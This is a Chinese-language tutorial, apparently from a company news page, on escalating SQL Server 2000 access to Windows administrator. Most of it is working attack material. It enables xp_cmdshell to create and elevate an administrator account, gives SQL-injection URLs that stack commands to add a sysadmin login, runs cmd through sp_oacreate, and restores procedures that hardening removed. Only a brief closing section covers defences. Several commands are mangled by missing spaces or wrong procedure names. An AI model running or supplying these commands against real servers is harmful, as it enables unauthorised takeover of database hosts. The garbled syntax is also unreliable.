热线电话: 18611015007 分享到:
首页>新闻中心>详细内容

SQL Server 2000提权

  SQLServer 2000提权有多个方法,通过SQL Tools查询工具进行提权,通过SQL查询分析器进行提权,通过SQL注入点进行手工提权,通过Pangolin等SQL注入工具进行提权,在本文中主要介绍通过查询方法来进行提权。进行提权的前提条件是当前使用的数据库账号是sysadmin权限,换句话说相当于sa权限。

  1.1SQL版本号查询

  在针对MSSQL进行提权时需要了解SQL的版本号,其版本可以通过查询获取,也可以通过本地查看MSSQL程序获取。

  1.通过查询分析器查询获取

  在查询分析器中执行以下任意一个语句即可:

  select serverproperty('productversion'),serverproperty('productlevel') ,serverproperty('edition');

  select @@version;

  2.各个版本对应信息

  (1)SQLServer 2000 版本号查询结果

  SQLServer 2000 版本号 SQL Server 2000 版本描述

  2000.80.194.0RTM (Release to Manufacturing)

  2000.80.384.0SQL Server 2000 SP1

  2000.80.534.0SQL Server 2000 SP2

  2000.80.760.0SQL Server 2000 SP3/SP3a

  2000.8.00.2039SQL Server 2000 SP4

  (2)SQLServer 2005 版本号查询结果信息

  SQLServer 2005 版本号 SQL Server 2005 版本描述

  2005.90.1399RTM (Release to Manufacturing)

  2005.90.2047SQL Server 2005 SP1

  2005.90.3042SQL Server 2005 SP2

  2005.90.4035SQL Server 2005 SP3

  2005.90.5000SQL Server 2005 SP4

  (3)SQLServer 2008 版本号查询结果信息

  SQLServer 2008版本号 SQL Server 2008 版本描述

  10.0.1600.22RTM

  10.00.2531.00SQL Server 2008 SP1

  10.00.4000.00SQL Server 2008 SP2

  10.50.1600.1SQL Server 2008 R2 (RTM)

  1.2通过查询分析获取管理员权限

  1.配置xp_cmdshell可用

  usemaster

  EXECsp_configure 'show advanced options', 1

  GO

  RECONFIGURE

  GO

  EXECsp_configure 'xp_cmdshell', 1

  GO

  RECONFIGURE

  GO

  2.测试xp_cmdshell是否可执行

  测试是否有xp_cmdshell的权限,如果列出数据,说明有权限,反之,则表示不能执行,说明系统进行过SQL Server加固。

  execxp_cmdshell 'dir c:'

  Go

  3.添加Windows管理员用户

  (1)添加antian365用户,密码为antian365

  EXECxp_cmdshell 'net user antian365 antian365 /add';

  (2)将antian365添加到管理员组

  EXECxp_cmdshell 'net localgroup administrators antian365 /add';

  (3)查看当前管理员组

  EXECxp_cmdshell 'net localgroup administrators ';

  1.3通过手工注入点获取管理员权限

  (1)添加用户

  http://antian365.com/default.asp?id=1;usemaster;exec dbo.sp_addlogin user;

  回车后执行,浏览器自动补上了空格,页面依然正常显示,20%代表空格符的。添加了一个user用户,密码现在为空。

  (2)修改user密码

  如果要改密码,可以这样:dbo.password null,password,user;

  dbo.password是修改用密码的存储过程,null是旧密码,password是新密码,user自然就是用户名了。而在我们这个测试中也就是这样子的:

  http://antian365.com/default.asp?id=1;usemaster;exec dbo.password null,password,user;

  (3)将user权限提升为sa

  SQL Server有八种固定服务器角色:数据库创建者(DBCREATOR)、磁盘管理员(DISKADMIN)、进程管理员(PROCESSADMIN)、安全管理员(SECURITYADMIN)、服务器管理员(SEVERADMIN)、安装管理员(SETUPADMIN)、系统管理员(SYSADMIN)、大容量管理员(BULKADMIN)。最高权限管理员是系统管理员(SYSADMIN),默认情况下sa也是系统管理员。dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。

  http://antian365.com/default.asp?id=1;usemaster;exec dbo.sp_addsrvrolemember user,sysadmin;

  (4)添加用户并提升至管理员权限

  http://antian365.com/default.asp?id=1;usemaster;exec dbo.xp_cmdshell 'net userantian365 temp /add';

  http://antian365.com/default.asp?id=1;usemaster;exec dbo.xp_cmdshell 'net localgroup administrators antian365 /add';

  1.4恢复存储过程

  (1)删除和恢复sp_addextendedproc语句

  删除sp_addextendedproc

  dropprocedure sp_addextendedproc

  dropprocedure sp_oacreate

  execsp_dropextendedproc 'xp_cmdshell'

  恢复sp_addextendedproc

  dbccaddextendedproc ("sp_oacreate","odsole70.dll")

  dbccaddextendedproc ("xp_cmdshell","xplog70.dll")

  (2)恢复sp_oacreate和xp_cmdshell

  dbccaddextendedproc ("sp_oacreate","odsole70.dll")

  dbccaddextendedproc ("xp_cmdshell","xplog70.dll")

  或者exec sp_addextendedprocxp_cmdshell ,@dllname ='xplog70.dll'

  (3)未能找到存储过程'master..xpcmdshell'之解决方法:

  EXECsp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o intsp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  (4)无法装载DLLxpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块)

  sp_dropextendedproc"xp_cmdshell"

  sp_addextendedproc'xp_cmdshell', 'xpsql70.dll'

  (5)无法在库xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序)

  execsp_dropextendedproc 'xp_cmdshell'

  execsp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  (6)删除和恢复odsole70.dll

  删除odsole70.dll:

  execmaster..sp_dropextendedproc sp_oamethod

  execmaster..sp_dropextendedproc sp_oacreate

  恢复odsole70.dll:

  execsp_addextendedproc sp_OAMethod,'odsole70.dll'

  execsp_addextendedproc sp_OACreate,'odsole70.dll'

  (7)直接添加帐户命令

  declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod

  @shell,'run',null,'c:\windows\system32\cmd.exe/c net user 用户名 密码/add'

  declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add'

  (8)恢复时一些常用的SQL语句:

  dbccaddextendedproc ("sp_oacreate","odsole70.dll")

  dbccaddextendedproc ("xp_cmdshell","xplog70.dll")

  usemaster

  execsp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'

  execsp_addextendedproc xp_dirtree,'xpstar.dll'

  execsp_addextendedproc xp_enumgroups,'xplog70.dll'

  execsp_addextendedproc xp_fixeddrives,'xpstar.dll'

  execsp_addextendedproc xp_loginconfig,'xplog70.dll'

  execsp_addextendedproc xp_enumerrorlogs,'xpstar.dll'

  execsp_addextendedproc xp_getfiledetails,'xpstar.dll'

  execsp_addextendedproc sp_OACreate,'odsole70.dll'

  execsp_addextendedproc sp_OADestroy,'odsole70.dll'

  execsp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'

  execsp_addextendedproc sp_OAGetProperty,'odsole70.dll'

  execsp_addextendedproc sp_OAMethod,'odsole70.dll'

  execsp_addextendedproc sp_OASetProperty,'odsole70.dll'

  execsp_addextendedproc sp_OAStop,'odsole70.dll'

  execsp_addextendedproc xp_regaddmultistring,'xpstar.dll'

  execsp_addextendedproc xp_regdeletekey,'xpstar.dll'

  execsp_addextendedproc xp_regdeletevalue,'xpstar.dll'

  execsp_addextendedproc xp_regenumvalues,'xpstar.dll'

  execsp_addextendedproc xp_regread,'xpstar.dll'

  execsp_addextendedproc xp_regremovemultistring,'xpstar.dll'

  execsp_addextendedproc xp_regwrite,'xpstar.dll'

  execsp_addextendedproc xp_availablemedia,'xpstar.dll'

  (9)恢复xp_cmdshell

  execmaster.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) frommaster.dbo.sysobjectswhere xtype='x' and name='xp_cmdshell'

  1.5SQL server提权防范方法

  (1)删除所有危险扩展:

  DROPPROCEDURE sp_makewebtask

  execmaster..sp_dropextendedproc xp_cmdshell

  execmaster..sp_dropextendedproc xp_dirtree

  execmaster..sp_dropextendedproc xp_fileexist

  execmaster..sp_dropextendedproc xp_terminate_process

  execmaster..sp_dropextendedproc sp_oamethod

  execmaster..sp_dropextendedproc sp_oacreate

  execmaster..sp_dropextendedproc xp_regaddmultistring

  execmaster..sp_dropextendedproc xp_regdeletekey

  execmaster..sp_dropextendedproc xp_regdeletevalue

  execmaster..sp_dropextendedproc xp_regenumkeys

  execmaster..sp_dropextendedproc xp_regenumvalues

  execmaster..sp_dropextendedproc sp_add_job

  execmaster..sp_dropextendedproc sp_addtask

  execmaster..sp_dropextendedproc xp_regread

  execmaster..sp_dropextendedproc xp_regwrite

  execmaster..sp_dropextendedproc xp_readwebtask

  execmaster..sp_dropextendedproc xp_makewebtask

  execmaster..sp_dropextendedproc xp_regremovemultistring

  execmaster..sp_dropextendedproc sp_OACreate

  DROPPROCEDURE sp_addextendedproc

  (2)修补sa弱口令

  execsp_password NULL,'新密码','sa'

  (3)加强服务器配置和设置安全



 相关阅读:什么是授权,office 2010 批量授权的方式

想了解更多?欢迎联系我们
服务邮箱 fei@bjjyhx.cn
周一至周五:9:00-18:00
热线电话 18611015007
周一至周五:9:00-18:00

在线表单

为了便于我们更好的为您服务,情正确填写一下信息,我们会在24小时内与您取得联系,并答复您的需求!

公司名称*
联  系  人*
联系电话*
详细地址*
产品描述*
留言内容*